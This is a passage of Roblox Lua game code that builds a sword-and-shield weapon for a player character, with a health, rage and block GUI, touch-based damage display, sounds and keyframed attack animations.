		function RC(Pos, Dir, Max, Ignore)
	
			return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999)), Ignore)
	
		end
	
	
	
		function RayC(Start, En, MaxDist, Ignore)
	
			return RC(Start, (En - Start), MaxDist, Ignore)
	
		end
	
	
	
		function Notime(func, tim)
	
			coroutine.resume(coroutine.create(function()
	
				if tim then
	
					wait(tim)
	
				end
	
				func()
	
			end))
	
		end
	
	
	
		function waitChild(parent, name)
	
			local child = parent:findFirstChild(name)
	
			if child then return child end
	
			while true do
	
				child = parent.ChildAdded:wait()
	
				if child.Name == name then return child end
	
			end
	
		end
	
	
	
		function ComputePos(pos1, pos2)
	
			local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
	
			return CFrame.new(pos1, pos3)
	
		end
	
	
	
		function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break)
	
			local p = Instance.new("Part")
	
			p.formFactor = "Custom"
	
			p.Anchored = Anchor
	
			p.CanCollide = Collide
	
			p.Transparency = Tran
	
			p.Reflectance = Ref
	
			p.BrickColor = BrickColor.new(Color)
	
			p.TopSurface = 0
	
			p.BottomSurface = 0
	
			p.Size = Vector3.new(X, Y, Z)
	
			if Break then
	
				p:BreakJoints()
	
			else p:MakeJoints() end
	
			p.Parent = Parent
	
			p.Locked = true
	
			return p
	
		end
	
	
	
		function Weld(p0, p1, x, y, z, a, b, c)
	
			local w = Instance.new("Weld")
	
			w.Parent = p0
	
			w.Part0 = p0
	
			w.Part1 = p1
	
			w.C1 = CN(x,y,z) * CA(a,b,c)
	
			return w
	
		end
	
	
	
		torso = char.Torso
	
		neck = torso.Neck
	
		hum = char.Humanoid
	
		Rarm = char["Right Arm"]
	
		Larm = char["Left Arm"]
	
		Rleg = char["Right Leg"]
	
		Lleg = char["Left Leg"]
	
	
	
		hc = Instance.new("Humanoid")
	
		hc.Health = 0
	
		hc.MaxHealth = 0
	
	
	
		function getHumanoid(c)
	
			local h = nil
	
			for i,v in pairs(c:children()) do
	
				if v:IsA("Humanoid") and c ~= char then
	
					if v.Health > 0 then
	
						h = v
	
					end
	
				end
	
			end
	
			return h
	
		end
	
	
	
		function getCharacters(where, pos, dist)
	
			local chars = {}
	
			for _, v in pairs(where:children()) do
	
				local hum = getHumanoid(v)
	
				local tors = v:findFirstChild("Torso")
	
				if tors ~= nil and hum ~= nil then
	
					local anypart = nil
	
					for _,k in pairs(v:children()) do
	
						if k:IsA("BasePart") then
	
							if (k.Position - pos).magnitude <= dist then
	
								anypart = k
	
								break
	
							end
	
						end
	
					end
	
					if anypart then
	
						table.insert(chars, {v, tors, hum})
	
					end
	
				end
	
			end
	
			return chars
	
		end
	
	
	
		function PlaySound(id, pitch, vol)
	
			local s = Add.Sound(nil, id, vol, pitch)
	
			if pitch ~= nil then
	
				if tonumber(pitch) then
	
					s.Pitch = tonumber(pitch)
	
				end
	
			end
	
			if vol ~= nil then
	
				if tonumber(vol) then
	
					s.Volume = tonumber(vol)
	
				end
	
			end
	
			s.Parent = torso
	
			s.PlayOnRemove = true
	
			Notime(function()
	
				wait()
	
				s:remove()
	
			end)
	
		end
	
	
	
		function playz(sound)
	
			PlaySound(sound[1], sound[2], sound[3])
	
		end
	
	
	
		PlrGui = waitChild(me, "PlayerGui")
	
	
	
		for _, v in pairs(char:children()) do if v.Name == Modelname then v:remove() end end 
	
		for _, v in pairs(PlrGui:children()) do
	
			if v.Name == "HealthGUI" or v.Name == "MyGui" then
	
				v:remove()
	
			end
	
		end
	
	
	
		function EditGui(obj, parent, size, position, bgcolor, bordercolor, transparency, text, textcolor, auto)
	
			obj.Size = size
	
			obj.Position = position
	
			obj.BackgroundColor3 = bgcolor
	
			obj.BorderColor3 = bordercolor
	
			obj.BackgroundTransparency = transparency
	
			if obj:IsA("TextLabel") or obj:IsA("TextButton") then
	
				obj.Text = text
	
				obj.TextColor3 = textcolor
	
			end
	
			if obj:IsA("ImageButton") or obj:IsA("TextButton") then
	
				obj.AutoButtonColor = auto
	
				obj.MouseButton1Down:connect(function()
	
					RemoveOptions()
	
				end)
	
			end
	
			obj.Parent = parent
	
		end
	
	
	
		C3 = Color3.new
	
		UD = UDim2.new
	
	
	
		Sc = Instance.new("ScreenGui", PlrGui)
	
		Sc.Name = "MyGui"
	
	
	
		Fr = Instance.new("Frame")
	
		EditGui(Fr, Sc, UD(0, 60, 0, 250), UD(1, -70, 0.5, -125), C3(0.1, 0.2, 0.5), C3(), 0)
	
	
	
		HealthBack = Instance.new("Frame")
	
		EditGui(HealthBack, Fr, UD(0, 25, 1, -20), UD(0, 3, 0, 10), C3(0.2, 0, 0), C3(), 0)
	
	
	
		RageBack = Instance.new("Frame")
	
		EditGui(RageBack, Fr, UD(0, 25, 1, -20), UD(1, -27, 0, 10), C3(0.2, 0, 0), C3(), 0)
	
	
	
		local hp = hum.Health/hum.MaxHealth
	
		if hp > 1 then hp = 1 elseif hp < 0 then hp = 0 end
	
	
	
		HealthBar = Instance.new("ImageLabel")
	
		EditGui(HealthBar, HealthBack, UD(1, 0, hp, 0), UD(0, 0, 0, 0), C3(0.1, 0.65, 0), C3(), 0)
	
		HealthBar.Image = "http://www.roblox.com/asset/?id=50051953"
	
	
	
		RageBar = Instance.new("ImageLabel")
	
		EditGui(RageBar, RageBack, UD(1, 0, Rage/MaxRage, 0), UD(0, 0, 0, 0), C3(1, 0.6, 0.15), C3(), 0)
	
		RageBar.Image = "http://www.roblox.com/asset/?id=50051953"
	
	
	
		RageAmount = Instance.new("TextLabel")
	
		EditGui(RageAmount, RageBack, UD(1, 0, 0, 0), UD(0, 0, 0, 0), C3(1, 0.6, 0.15), C3(), 0, Rage, C3(1,1,1))
	
		RageAmount.TextYAlignment = "Top"
	
	
	
		AimButton = Instance.new("TextButton")
	
		EditGui(AimButton, Fr, UD(1, 0, 0, 35), UD(0, 0, 1, 0), C3(0.9, 0.2, 0.3), C3(), 0, "AIM: OFF", C3(), true)
	
		AimButton.TextWrap = true
	
		AimButton.Font = "ArialBold"
	
		AimButton.FontSize = "Size14"
	
		AimButton.MouseButton1Down:connect(function()
	
			if Aim then
	
				Aim = false
	
				AimButton.Text = "AIM: OFF"
	
				AimButton.BackgroundColor3 = C3(0.9, 0.2, 0.3)
	
			else
	
				Aim = true
	
				AimButton.Text = "AIM: ON"
	
				AimButton.BackgroundColor3 = C3(0.3, 0.85, 0.1)
	
			end
	
		end)
	
	
	
		for i = 1, BlockRealPowa do
	
			local gui = Instance.new("ImageLabel")
	
			EditGui(gui, Fr, UD(0, 16, 0, 16), UD(0, -18, 0.5, 20*(i-1)-((BlockRealPowa*20)/2)), C3(), C3(), 1)
	
			gui.Image = "http://www.roblox.com/asset/?id=48908046"
	
			table.insert(BlockBars, gui)
	
		end
	
	
	
		BlockPower.Changed:connect(function()
	
			for _, v in pairs(BlockBars) do
	
				v.Image = ""
	
			end
	
			for i = 1, BlockPower.Value do
	
				local gui = BlockBars[i]
	
				if gui then
	
					gui.Image = "http://www.roblox.com/asset/?id=48908046"
	
				end
	
			end
	
		end)
	
	
	
		Mo = Instance.new("Model")
	
		Mo.Name = Modelname
	
	
	
		RABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
	
		LABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
	
		RLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
	
		LLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
	
	
	
		RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
	
		LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
	
		RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
	
		LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
	
	
	
		RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
	
		LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
	
		RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
	
		LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
	
	
	
		HB = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
	
		HBW = Weld(Rarm, HB, 0, 0, 1, MP/2, 0, 0)
	
		HW = Weld(HB, nil, 0, 0, 0, 0, 0, 0)
	
	
	
		SW = Weld(Larm, nil, -0.5, 0, 0.3, MP/2, 0, 0)
	
	
	
		TH = Weld(torso, nil, 0, 2.5, 0, MR(145), 0, 0)
	
		TH.C0 = CN(0, -0.3, 0.75) * CA(0, MP/2, 0)
	
	
	
		Weapon = Instance.new("Model")
	
		Weapon.Name = "Weapon"
	
	
	
		Handle = Part(Weapon, false, false, 0, 0, MainColor, 0.4, 1.8, 0.4)
	
		Add.Head(Handle)
	
	
	
		Tip1 = Part(Weapon, false, false, 0, 0, "Deep blue", 0.45, 1.2, 0.45)
	
		Add.Head(Tip1)
	
		Weld(Handle, Tip1, 0, 0, 0, 0, 0, 0)
	
	
	
		Tip2 = Part(Weapon, false, false, 0, 0, "Bright blue", 0.5, 0.5, 0.5)
	
		Weld(Handle, Tip2, 0, 0.9, 0, 0, 0, 0)
	
		Add.Mesh(Tip2, "http://www.roblox.com/asset/?id=9756362", 0.75, 0.5, 0.75)
	
	
	
		Tip3 = Part(Weapon, false, false, 0, 0, "Deep blue", 0.7, 0.3, 1.2)
	
		Weld(Handle, Tip3, 0, -0.9, 0, 0, 0, 0)
	
		Add.Mesh(Tip3, "http://www.roblox.com/asset/?id=9756362", 0.7, 0.35, 1.35)
	
	
	
		Tip4 = Part(Weapon, false, false, 0, 0, "Deep blue", 0.6, 0.2, 1.8)
	
		Weld(Handle, Tip4, 0, -0.9, 0, 0, 0, 0)
	
	
	
		Tip5 = Part(Weapon, false, false, 0, 0, "Bright blue", 0.6, 0.6, 0.3)
	
		Weld(Tip4, Tip5, 0, -0.4, -0.85, MR(-15), 0, 0)
	
	
	
		Tip6 = Part(Weapon, false, false, 0, 0, "Bright blue", 0.6, 0.6, 0.3)
	
		Weld(Tip4, Tip6, 0, -0.4, 0.85, MR(15), 0, 0)
	
	
	
		Blades = {}
	
	
	
		for i = 0, 180, 180 do
	
			for x = -20, 20, 40 do
	
				local lol = i-90
	
				local lol2 = math.abs(lol/480)
	
				local lol3 = x/90
	
				local Blade1 = Part(Weapon, false, false, 0, 0.3, BladeColor, 0.2, 3.5, 0.6)
	
				Instance.new("BlockMesh",Blade1).Scale = Vector3.new(0.2, 1, 0.99)
	
				local w = Weld(Tip4, Blade1, lol2, 0, -lol3, 0, 0, 0)
	
				w.C0 = CN(0, 1.7, 0) * CA(0, MR(i+x), 0)
	
				table.insert(Blades, Blade1)
	
			end
	
		end
	
	
	
		Tip7 = Part(Weapon, false, false, 0, 0.3, BladeColor, 0.3, 1.3, 0.7)
	
		Add.Mesh(Tip7, "http://www.roblox.com/asset/?id=9756362", 0.31, 1.4, 0.8)
	
		Weld(Tip4, Tip7, 0, -3.45, 0, 0, 0, 0)
	
	
	
		table.insert(Blades, Tip7)
	
	
	
		TH.Part1 = Handle
	
	
	
		Shield = Instance.new("Model")
	
		Shield.Name = "Shield"
	
	
	
		SHandle = Part(Weapon, false, false, 0, 0, "Really black", 0.2, 0.9, 0.4)
	
		SW.Part1 = SHandle
	
	
	
		for i = 65, 115, 25 do
	
			local STip1 = Part(Weapon, false, false, 0, 0, "Really black", 0.2, 0.5, 0.4)
	
			local w = Weld(SHandle, STip1, 0.8, 0, 0, 0, 0, 0)
	
			w.C0 = CN(-0.5, 0.2, 0) * CA(0, 0, MR(i))
	
		end
	
	
	
		for i = -65, -115, -25 do
	
			local STip1 = Part(Weapon, false, false, 0, 0, "Really black", 0.2, 0.5, 0.4)
	
			local w = Weld(SHandle, STip1, 0.8, 0, 0, 0, 0, 0)
	
			w.C0 = CN(-0.5, -0.2, 0) * CA(0, 0, MR(i))
	
		end
	
	
	
		SHandle2 = Part(Weapon, false, false, 0, 0, "Really black", 0.2, 0.9, 0.4)
	
		Weld(SHandle, SHandle2, 1, 0, 0, 0, 0, 0)
	
	
	
		ShieldMain = Part(Weapon, false, false, 0, 0, "Medium grey", 0.3, 3.5, 1.1)
	
		ShieldW = Weld(SHandle2, ShieldMain, 0, 0, 0, 0, 0, 0)
	
		ShieldW.C0 = CN(0, -0.2, 0) * CA(0, MR(-5), 0)
	
	
	
		STip1 = Part(Weapon, false, false, 0, 0, "Navy blue", 0.35, 0.4, 1.15)
	
		Weld(ShieldMain, STip1, 0, -1.75, 0, 0, 0, 0)
	
	
	
		STip2 = Part(Weapon, false, false, 0, 0, "Navy blue", 0.35, 0.4, 1.15)
	
		Weld(ShieldMain, STip2, 0, 1.75, 0, 0, 0, 0)
	
	
	
		for i = -15, 15, 30 do
	
			local ShieldPlate = Part(Weapon, false, false, 0, 0, "Medium grey", 0.3, 3.5, 1.1)
	
			local w = Weld(ShieldMain, ShieldPlate, 3.5, 0, 0, 0, 0, 0)
	
			w.C0 = CN(3.5, 0, 0) * CA(0, math.rad(i), 0)
	
			for x = -1.75, 1.75, 1.75*2 do
	
				local STip3 = Part(Weapon, false, false, 0, 0, "Navy blue", 0.35, 0.4, 1.15)
	
				Weld(ShieldPlate, STip3, 0, x, 0, 0, 0, 0)
	
			end
	
			local i2 = i/40
	
			local STip3 = Part(Weapon, false, false, 0, 0, "Navy blue", 0.35, 3.9, 0.4)
	
			Weld(ShieldPlate, STip3, 0, 0, -i2, 0, 0, 0)
	
		end
	
	
	
		Weapon.Parent = Mo
	
		Shield.Parent = Mo
	
	
	
		Mo.Parent = char
	
	
	
		function ShowDamage(Dmg, Par, Crit, block)
	
			local Pos = Par.CFrame * CN(0, 2.5, 0)
	
			local M = Instance.new("Model")
	
			local Loldmg = Dmg
	
			if Loldmg < 0 then
	
				Loldmg = 0
	
			end
	
			if tostring(Loldmg):sub(1,1) == "-" then
	
				Loldmg = tostring(Loldmg):sub(2)
	
			end
	
			M.Name = Loldmg
	
			local Col = "Bright red"
	
			if Crit then Col = "Bright yellow" elseif block then Col = "Bright blue" end
	
			local P = Part(M, false, false, 0, 0, Col, 0.8, 0.3, 0.8, true)
	
			P.CFrame = CN(Par.Position)
	
			P.Name = "Head"
	
			local BP = Add.BP(P)
	
			BP.position = Pos.p
	
			BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
	
			BP.P = 11000
	
			Add.BG(P)
	
			local H = hc:clone()
	
			H.Parent = M
	
			H.MaxHealth = 0
	
			H.Health = 0
	
			M.Parent = workspace
	
			Notime(function()
	
				wait(1.5)
	
				M:remove()
	
			end)
	
		end
	
	
	
		function Damage(P, Hum, dmg, crit, block)
	
			if Hum then
	
				if Hum.Health > 0 then
	
					local Damg = dmg
	
					if crit then
	
						Damg = dmg*CritMultiplier
	
					end
	
					Damg = math.ceil(((Damg+AddDamage)*AddDamageX)-0.5)
	
					Hum.Health = Hum.Health
	
					ShowDamage(Damg, P, crit, block)
	
				end
	
			end
	
		end
	
	
	
		function ShieldDamage(mode, blockval, blockpowerval, crit)
	
			if blockval and blockpowerval then
	
				local ShieldDmg = mode[3]+AddShield
	
				if crit then
	
					ShieldDmg = mode[4]+AddShield
	
				end
	
				if blockpowerval then
	
					blockpowerval.Value = blockpowerval.Value - ShieldDmg
	
					if blockpowerval.Value < 1 then
	
						blockval.Value = false
	
					end
	
				end
	
			end
	
		end
	
	
	
		function getBlock(c)
	
			local block, blockpow = nil
	
			local blockin = false
	
			for _,v in pairs(c:children()) do
	
				if v.Name == "Block" and v:IsA("BoolValue") then
	
					block = v
	
					blockin = v.Value
	
					local bp = v:findFirstChild("BlockPower")
	
					if bp then
	
						blockpow = bp
	
					end
	
				end
	
			end
	
			return block, blockpow, blockin
	
		end
	
	
	
		function TouchDamage(hit)
	
			local Hum = getHumanoid(hit.Parent)
	
			if Hum and Deb and Hurt then
	
				Deb = false
	
				local Crit = false
	
				local BlockVal, BlockPowaVal, Blawk = getBlock(Hum.Parent)
	
				local BlockPowa = 0
	
				local blocksound = Sounds.SmashHit
	
				if math.random(1,100/CritChance) == 1 then
	
					Crit = true
	
				end
	
				local Damg = math.random(Mode[2]/3, Mode[2])
	
				if Blawk then
	
					Damg = 0
	
					ShieldDamage(Mode, BlockVal, BlockPowaVal, Crit)
	
					if BlockPowaVal then
	
						if BlockPowaVal.Value < 1 then
	
							blocksound = Sounds.Equip
	
						end
	
					end
	
				end
	
				if Mode[5] == false and RageMode == false and Blawk == false then
	
					Rage = Rage + math.ceil(Damg*0.75-0.5)
	
				end
	
				if Blawk then
	
					PlaySound(blocksound[1], blocksound[2]-0.15, blocksound[3])
	
				else
	
					PlaySound(Sounds.Hit[1], Sounds.Hit[2], Sounds.Hit[3])
	
				end
	
				Damage(hit, Hum, Damg, Crit, Blawk)
	
				if Mode == Dmgs.Spin then
	
					Notime(function()
	
						wait(0.35)
	
						Deb = true
	
					end)
	
				end
	
			end
	
		end
	
	
	
		for _, v in pairs(Blades) do
	
			v.Touched:connect(TouchDamage)
	
		end
	
	
	
	
	
	
	
		Bin = Instance.new("HopperBin", me.Backpack)
	
	
	
		EffectOn = false
	
	
	
		function StartEffect(color)
	
			EffectOn = true
	
			local lastPoint = Tip7.CFrame * EffPos.p
	
			Notime(function()
	
				while EffectOn do
	
					wait()
	
					local pos = Tip7.CFrame * EffPos.p
	
					local magn = (lastPoint - pos).magnitude
	
					local col = LineColor
	
					if color and col ~= EffectColor3 then
	
						col = color
	
					end
	
					local p = Part(workspace, true, false, 0.1, 0, col, 0.3, 1, 0.3, true)
	
					local mesh = Add.Head(p)
	
					mesh.Scale = Vector3.new(1, magn+0.1, 1)
	
					p.CFrame = CN(lastPoint, pos) * CA(-MP/2, 0, 0) * CN(0, magn/2+0.05, 0)
	
					lastPoint = pos
	
					Notime(function()
	
						wait(0.05)
	
						for i = 0, 1, 0.12 do
	
							p.Transparency = 0.1+0.9*i
	
							mesh.Scale = Vector3.new(1-1*i, magn+0.1-0.1*i, 1-1*i)
	
							wait()
	
						end
	
						p:remove()
	
					end)
	
				end
	
			end)
	
		end
	
	
	
		function EndEffect()
	
			EffectOn = false
	
		end
	
	
	
		function Detach()
	
			RAW.Part1 = nil
	
			LAW.Part1 = nil
	
			RLW.Part1 = nil
	
			LLW.Part1 = nil
	
			RAW.C0 = CN()
	
			LAW.C0 = CN()
	
			RLW.C0 = CN()
	
			LLW.C0 = CN()
	
		end
	
	
	
		function Normalize()
	
			RAW.C0 = CA(MR(40), MR(50), 0)
	
			LAW.C0 = CA(MR(20), MR(-20), MR(-20))
	
			HW.C0 = CA(0, 0, 0)
	
			neck.C0 = necko
	
		end
	
	
	
		SelectAnim = function()
	
			RAW.Part1 = Rarm
	
			HW.Part1 = nil
	
			TH.Part1 = Handle
	
			for i = 0.1, 1, 0.14 do
	
				RAW.C0 = CA(MR(220*i), MR(-30*i), MR(-35*i)) * CN(0.4*i, 0, 0)
	
				neck.C0 = necko * CA(MR(-10*i), 0, MR(-60*i))
	
				wait()
	
			end
	
			PlaySound(Sounds.Equip[1], Sounds.Equip[2], Sounds.Equip[3])
	
			HW.C0 = CN(0.4, 0, 0) * CA(MR(-60), MR(10), MR(100))
	
			HW.Part1 = Handle
	
			TH.Part1 = nil
	
			LAW.Part1 = Larm
	
			for i = 0.09, 1, 0.11 do
	
				RAW.C0 = CA(MR(220-70*i), MR(-30+25*i), MR(-35+70*i)) * CN(0.4-0.4*i, 0, 0)
	
				HW.C0 = CN(0.4-0.4*i, 0, 0) * CA(MR(-60+40*i), MR(10-10*i), MR(100-40*i))
	
				LAW.C0 = CA(MR(20*i), MR(-20*i), MR(-20*i))
	
				neck.C0 = necko * CA(MR(-10+10*i), 0, MR(-60+40*i))
	
				wait()
	
			end
	
			for i = 0.14, 1, 0.25 do
	
				RAW.C0 = CA(MR(150-60*i), MR(-5+15*i), MR(35-10*i))
	
				HW.C0 = CA(MR(-20+20*i), 0, MR(60-30*i))
	
				neck.C0 = necko * CA(0, 0, MR(-60+40+5*i))
	
				wait()
	
			end
	
			for i = 0.1, 1, 0.14 do
	
				RAW.C0 = CA(MR(90-50*i), MR(10+40*i), MR(25-25*i))
	
				HW.C0 = CA(0, 0, MR(30-30*i))
	
				neck.C0 = necko * CA(0, 0, MR(-15+15*i))
	
				wait()
	
			end
	
			Normalize()
	
		end
	
	
	
		DeselectAnim = function()
	
			for i = 0.09, 1, 0.14 do
	
				RAW.C0 = CA(MR(40+100*i), MR(50-50*i), MR(20*i))
	
				LAW.C0 = CA(MR(20-20*i), MR(-20+20*i), MR(-20+20*i))
	
				HW.C0 = CN(0.4*i, 0, 0) * CA(MR(-30*i), MR(5*i), MR(20*i))
	
				neck.C0 = necko * CA(MR(-5*i), 0, MR(-35*i))
	
				wait()
	
			end
	
			LAW.Part1 = nil
	
			for i = 0.08, 1, 0.14 do
	
				RAW.C0 = CA(MR(140+80*i), MR(-30*i), MR(20-55*i))
	
				HW.C0 = CN(0.4, 0, 0) * CA(MR(-30-30*i), MR(5+5*i), MR(20+80*i))
	
				neck.C0 = necko * CA(MR(-5-10*i), 0, MR(-35-25*i))
	
				wait()
	
			end
	
			HW.Part1 = nil
	
			TH.Part1 = Handle
	
			for i = 0.09, 1, 0.18 do
	
				RAW.C0 = CA(MR(220-220*i), MR(-30+30*i), MR(20-55+35*i))
	
				neck.C0 = necko * CA(MR(-5-10+15*i), 0, MR(-35-25+60*i))
	
				wait()
	
			end
	
			neck.C0 = necko
	
			Detach()
	
		end
	
	
	
		function setatk(s, e)
	
			Notime(function()
	
				Attack = e
	
				wait(0.25)
	
				Attack = s
	
			end)
	
		end
	
	
	
		Attacks = {
	
			function()
	
				Attack = 1
	
				Able = false
	
				for i = 0.1, 1, 0.2 do
	
					RAW.C0 = CA(MR(40+90*i), MR(50-60*i), 0)
	
					HW.C0 = CA(0, 0, 0)
	
					LAW.C0 = CA(MR(20+55*i), MR(-20), MR(-20+60*i))
	
					neck.C0 = necko * CA(MR(-10*i), 0, MR(-25*i))
	
					wait()
	
				end
	
				PlaySound(Sounds.Slash[1], Sounds.Slash[2], Sounds.Slash[3])
	
				for i = 0.16, 1, 0.33 do
	
					RAW.C0 = CA(MR(130+5*i), MR(-10-20*i), 0)
	
					HW.C0 = CA(0, 0, 0)
	
					LAW.C0 = CA(MR(75+5*i), MR(-20), MR(40+5*i))
	
					neck.C0 = necko * CA(MR(-10-5*i), 0, MR(-25-5*i))
	
					wait()
	
				end
	
				Hurt = true
	
				Deb = true
	
				StartEffect()
	
				Mode = Dmgs.Slash
	
				for i = 0.11, 1, 0.22 do
	
					RAW.C0 = CA(MR(135-115*i), MR(-30), MR(-50*i)) * CN(0, -0.7*i, 0)
	
					HW.C0 = CA(MR(-70*i), 0, 0)
	
					LAW.C0 = CA(MR(80-120*i), MR(-20+20*i), MR(45-45*i))
	
					neck.C0 = necko * CA(MR(-15+30*i), 0, MR(-30+45*i))
	
					wait()
	
				end
	
				EndEffect()
	
				Hurt = false
	
				setatk(1,2)
	
				Able = true
	
				for i = 0.2, 1, 0.25 do
	
					RAW.C0 = CA(MR(20-18*i), MR(-30), MR(-50-3*i)) * CN(0, -0.7-0.05*i, 0)
	
					HW.C0 = CA(MR(-70-5*i), 0, 0)
	
					neck.C0 = necko * CA(MR(15+3*i), 0, MR(15+3*i))
	
					wait()
	
				end
	
				wait(0.1)
	
				for i = 0.1, 1, 0.15 do
	
					if Able == false then return end
	
					RAW.C0 = CA(MR(2+38*i), MR(-30+80*i), MR(-53+53*i)) * CN(0, -0.75+0.75*i, 0)
	
					HW.C0 = CA(MR(-75+75*i), 0, 0)
	
					LAW.C0 = CA(MR(-40+60*i), MR(-20+20-20*i), MR(-20*i))
	
					neck.C0 = necko * CA(MR(15+3-18*i), 0, MR(15+3-18*i))
	
					wait()
	
				end
	
				Normalize()
	
			end,
	
	
	
			function()
	
				Attack = 2
	
				Able = false
	
				PlaySound(Sounds.Slash[1], Sounds.Slash[2]+0.1, Sounds.Slash[3])
	
				for i = 0.05, 1, 0.1 do
	
					RAW.C0 = CA(MR(10+80*i), MR(-30+30*i), MR(-55+35*i)) * CN(0, -0.75+0.35*i, 0)
	
					LAW.C0 = CA(MR(-40), 0, 0)
	
					HW.C0 = CA(MR(-75+75*i), 0, MR(90*i))
	
					neck.C0 = necko * CA(MR(18-13*i), 0, MR(18+22*i))
	
					wait()
	
				end
	
				Hurt = true
	
				Deb = true
	
				StartEffect()
	
				Mode = Dmgs.SideSlash
	
				for i = 0.09, 1, 0.17 do
	
					RAW.C0 = CA(MR(90-40*i), 0, MR(-20+110*i)) * CN(0, -0.4+0.4*i, 0)
	
					HW.C0 = CA(0, MR(-65*i), MR(90))
	
					LAW.C0 = CA(MR(-40+120*i), MR(-20*i), MR(50*i)) * CN(0, -0.6*i, 0)
	
					neck.C0 = necko * CA(MR(5), 0, MR(40-90*i))
	
					wait()
	
				end
	
				EndEffect()
	
				Hurt = false
	
				Deb = false
	
				setatk(1,3)
	
				Able = true
	
				for i = 0.12, 1, 0.25 do
	
					RAW.C0 = CA(MR(50-5*i), 0, MR(90+10*i))
	
					HW.C0 = CA(0, MR(-65-5*i), MR(90))
	
					LAW.C0 = CA(MR(-40+120), MR(-20), MR(50+5*i)) * CN(0, -0.6, 0)
	
					neck.C0 = necko * CA(MR(5), 0, MR(40-90-5*i))
	
					wait()
	
				end
	
				wait(0.08)
	
				for i = 0.05, 1, 0.1 do
	
					if Able == false then return end
	
					RAW.C0 = CA(MR(45-5*i), MR(50*i), MR(100-100*i)) * CN(0, 0, 0)
	
					HW.C0 = CA(0, MR(-70+70*i), MR(90-90*i))
	
					LAW.C0 = CA(MR(-40+120-60*i), MR(-20), MR(55-75*i)) * CN(0, -0.6+0.6*i, 0)
	
					neck.C0 = necko * CA(MR(5-5*i), 0, MR(-55+55*i))
	
					wait()
	
				end
	
				Normalize()
	
			end,
	
	
	
			function()
	
				Able = false
	
				for i = 0.05, 1, 0.08 do
	
					RAW.C0 = CA(MR(50+130*i), 0, MR(90-125*i)) * CN(0, -1*i, 0)
	
					HW.C0 = CA(0, MR(-65-35*i), MR(90-90*i))
	
					LAW.C0 = CA(MR(80+100*i), MR(-20+20*i), MR(50-15*i)) * CN(0, -0.6-0.4*i, 0)
	
					neck.C0 = necko * CA(MR(5-25*i), 0, MR(-50+50*i))
	
					wait()
	
				end
	
				PlaySound(Sounds.Slash[1], Sounds.Slash[2]+0.05, Sounds.Slash[3])
	
				for i = 0.13, 1, 0.25 do
	
					RAW.C0 = CA(MR(180+10*i), 0, MR(-35)) * CN(0, -1, 0)
	
					HW.C0 = CA(0, MR(-100), 0)
	
					LAW.C0 = CA(MR(180+10*i), 0, MR(35)) * CN(0, -1, 0)
	
					neck.C0 = necko * CA(MR(5-25-5*i), 0, 0)
	
					wait()
	
				end
	
				StartEffect()
	
				Hurt = true
	
				Deb = true
	
				Mode = Dmgs.Smash
	
				for i = 0.06, 1, 0.12 do
	
					RAW.C0 = CA(MR(190-160*i), 0, MR(-35)) * CN(0, -1+0.2*i, 0)
	
					HW.C0 = CA(MR(-20*i), MR(-100-40*i), MR(40*i))
	
					LAW.C0 = CA(MR(190-160*i), 0, MR(35)) * CN(0, -1+0.2*i, 0)
	
					neck.C0 = necko * CA(MR(-25+45*i), 0, 0)
	
					wait()
	
				end
	
				PlaySound(Sounds.SmashHit[1], Sounds.SmashHit[2], Sounds.SmashHit[3])
	
				EndEffect()
	
				Hurt = false
	
				Deb = false
	
				for i = 0.2, 1, 0.5 do
	
					RAW.C0 = CA(MR(30+15*i), 0, MR(-35)) * CN(0, -0.8+0.4*i, 0)
	
					HW.C0 = CA(MR(-20), MR(-140), MR(40))
	
					LAW.C0 = CA(MR(30+15*i), 0, MR(35)) * CN(0, -0.8+0.4*i, 0)
	
					neck.C0 = necko * CA(MR(20), 0, 0)
	
					wait()
	
				end
	
				setatk(1,4)
	
				Able = true
	
				for i = 0.16, 1, 0.33 do
	
					if not Able then return end
	
					RAW.C0 = CA(MR(30+15-15*i), 0, MR(-35)) * CN(0, -0.8+0.4-0.2*i, 0)
	
					HW.C0 = CA(MR(-20), MR(-140), MR(40))
	
					LAW.C0 = CA(MR(30+15-15*i), 0, MR(35)) * CN(0, -0.8+0.4-0.2*i, 0)
	
					neck.C0 = necko * CA(MR(20), 0, 0)
	
					wait()
	
				end
	
				for i = 0.05, 1, 0.1 do
	
					if not Able then return end
	
					RAW.C0 = CA(MR(30+10*i), MR(50*i), MR(-35+35*i)) * CN(0, -0.8+0.4-0.2+0.6*i, 0)
	
					HW.C0 = CA(MR(-20+20*i), MR(-140+140*i), MR(40-40*i))
	
					LAW.C0 = CA(MR(30+15-15-10*i), MR(-20*i), MR(35-55*i)) * CN(0, -0.8+0.4-0.2+0.6*i, 0)
	
					neck.C0 = necko * CA(MR(20-20*i), 0, 0)
	
					wait()
	
				end
	
				Normalize()
	
			end,
	
			function()
	
				Able = false
	
				for i = 0.06, 1, 0.12 do
	
					RAW.C0 = CA(MR(30), MR(-20*i), MR(-35-25*i)) * CN(0, -0.8, 0)
	
					HW.C0 = CA(MR(-20-60*i), MR(-140-40*i), MR(40-40*i))
	
					LAW.C0 = CA(MR(30-110*i), 0, MR(35-35*i)) * CN(0, -0.8+0.8*i, 0)
	
					neck.C0 = necko * CA(MR(20-15*i), 0, MR(10*i))
	
					wait()
	
				end
	
				Mode = Dmgs.DoubleSlash
	
				StartEffect()
	
				playz(Sounds.Slash)
	
				Hurt = true
	
				Deb = true
	
				for i = 0.07, 1, 0.14 do
	
